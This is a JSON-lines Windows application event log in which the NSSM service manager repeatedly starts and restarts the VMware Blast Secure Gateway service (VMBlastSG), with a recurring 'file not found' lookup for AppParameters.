{"@timestamp":1646673863894,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156823}}
{"@timestamp":1646673863895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156824}}
{"@timestamp":1646673863897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156825}}
{"@timestamp":1646673992395,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156826}}
{"@timestamp":1646673992396,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156827}}
{"@timestamp":1646673992397,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154228","0"]}}},"module":"Application","provider":"nssm","sequence":156828}}
{"@timestamp":1646673992399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154228","154228","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156829}}
{"@timestamp":1646673992416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156830}}
{"@timestamp":1646673992416,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156831}}
{"@timestamp":1646673992417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156832}}
{"@timestamp":1646673992417,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156833}}
{"@timestamp":1646674120917,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156834}}
{"@timestamp":1646674120919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156835}}
{"@timestamp":1646674120919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153388","0"]}}},"module":"Application","provider":"nssm","sequence":156836}}
{"@timestamp":1646674120920,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153388","153388","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156837}}
{"@timestamp":1646674120938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156838}}
{"@timestamp":1646674120939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156839}}
{"@timestamp":1646674120939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156840}}
{"@timestamp":1646674120940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156841}}
{"@timestamp":1646674249434,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156842}}
{"@timestamp":1646674249436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156843}}
{"@timestamp":1646674249437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","152744","0"]}}},"module":"Application","provider":"nssm","sequence":156844}}
{"@timestamp":1646674249438,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["152744","152744","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156845}}
{"@timestamp":1646674249456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156846}}
{"@timestamp":1646674249456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156847}}
{"@timestamp":1646674249457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156848}}
{"@timestamp":1646674249458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156849}}
{"@timestamp":1646674377979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156850}}
{"@timestamp":1646674377980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156851}}
{"@timestamp":1646674377980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","150708","0"]}}},"module":"Application","provider":"nssm","sequence":156852}}
{"@timestamp":1646674377980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["150708","150708","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156853}}
{"@timestamp":1646674377996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153872","0"]}}},"module":"Application","provider":"nssm","sequence":156854}}
{"@timestamp":1646674377996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153872","150708","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156855}}
{"@timestamp":1646674378043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156856}}
{"@timestamp":1646674378045,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156857}}
{"@timestamp":1646674378046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156858}}
{"@timestamp":1646674378047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156859}}
{"@timestamp":1646674506544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156860}}
{"@timestamp":1646674506544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156861}}
{"@timestamp":1646674506544,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","146736","0"]}}},"module":"Application","provider":"nssm","sequence":156862}}
{"@timestamp":1646674506545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["146736","146736","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156863}}
{"@timestamp":1646674506560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156864}}
{"@timestamp":1646674506561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156865}}
{"@timestamp":1646674506561,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156866}}
{"@timestamp":1646674506562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156867}}
{"@timestamp":1646674635085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156868}}
{"@timestamp":1646674635085,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156869}}
{"@timestamp":1646674635086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154084","0"]}}},"module":"Application","provider":"nssm","sequence":156870}}
{"@timestamp":1646674635086,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154084","154084","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156871}}
{"@timestamp":1646674635102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156872}}
{"@timestamp":1646674635102,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156873}}
{"@timestamp":1646674635103,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156874}}
{"@timestamp":1646674635104,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156875}}
{"@timestamp":1646674763624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156876}}
{"@timestamp":1646674763624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156877}}
{"@timestamp":1646674763625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153144","0"]}}},"module":"Application","provider":"nssm","sequence":156878}}
{"@timestamp":1646674763625,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153144","153144","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156879}}
{"@timestamp":1646674763642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156880}}
{"@timestamp":1646674763643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156881}}
{"@timestamp":1646674763643,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156882}}
{"@timestamp":1646674763644,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156883}}
{"@timestamp":1646674892270,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156884}}
{"@timestamp":1646674892271,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156885}}
{"@timestamp":1646674892272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154372","0"]}}},"module":"Application","provider":"nssm","sequence":156886}}
{"@timestamp":1646674892272,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154372","154372","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156887}}
{"@timestamp":1646674892290,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156888}}
{"@timestamp":1646674892291,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156889}}
{"@timestamp":1646674892292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156890}}
{"@timestamp":1646674892292,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156891}}
{"@timestamp":1646675020815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156892}}
{"@timestamp":1646675020816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156893}}
{"@timestamp":1646675020816,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153748","0"]}}},"module":"Application","provider":"nssm","sequence":156894}}
{"@timestamp":1646675020817,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153748","153748","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156895}}
{"@timestamp":1646675020833,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156896}}
{"@timestamp":1646675020833,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156897}}
{"@timestamp":1646675020834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156898}}
{"@timestamp":1646675020835,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156899}}
{"@timestamp":1646675149319,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156900}}
{"@timestamp":1646675149321,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156901}}
{"@timestamp":1646675149322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153832","0"]}}},"module":"Application","provider":"nssm","sequence":156902}}
{"@timestamp":1646675149324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153832","153832","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156903}}
{"@timestamp":1646675149341,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156904}}
{"@timestamp":1646675149342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156905}}
{"@timestamp":1646675149342,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156906}}
{"@timestamp":1646675149343,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156907}}
{"@timestamp":1646675278255,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156908}}
{"@timestamp":1646675278257,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156909}}
{"@timestamp":1646675278258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154232","0"]}}},"module":"Application","provider":"nssm","sequence":156910}}
{"@timestamp":1646675278258,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154232","154232","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156911}}
{"@timestamp":1646675278274,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156912}}
{"@timestamp":1646675278275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156913}}
{"@timestamp":1646675278275,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156914}}
{"@timestamp":1646675278276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156915}}
{"@timestamp":1646675406783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156916}}
{"@timestamp":1646675406783,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156917}}
{"@timestamp":1646675406784,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153256","0"]}}},"module":"Application","provider":"nssm","sequence":156918}}
{"@timestamp":1646675406785,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153256","153256","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156919}}
{"@timestamp":1646675406803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156920}}
{"@timestamp":1646675406803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":156921}}
{"@timestamp":1646675406804,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":156922}}
{"@timestamp":1646675406805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":156923}}
{"@timestamp":1646675535326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":156924}}
{"@timestamp":1646675535327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":156925}}
{"@timestamp":1646675535327,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153856","0"]}}},"module":"Application","provider":"nssm","sequence":156926}}
{"@timestamp":1646675535328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153856","153856","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":156927}}
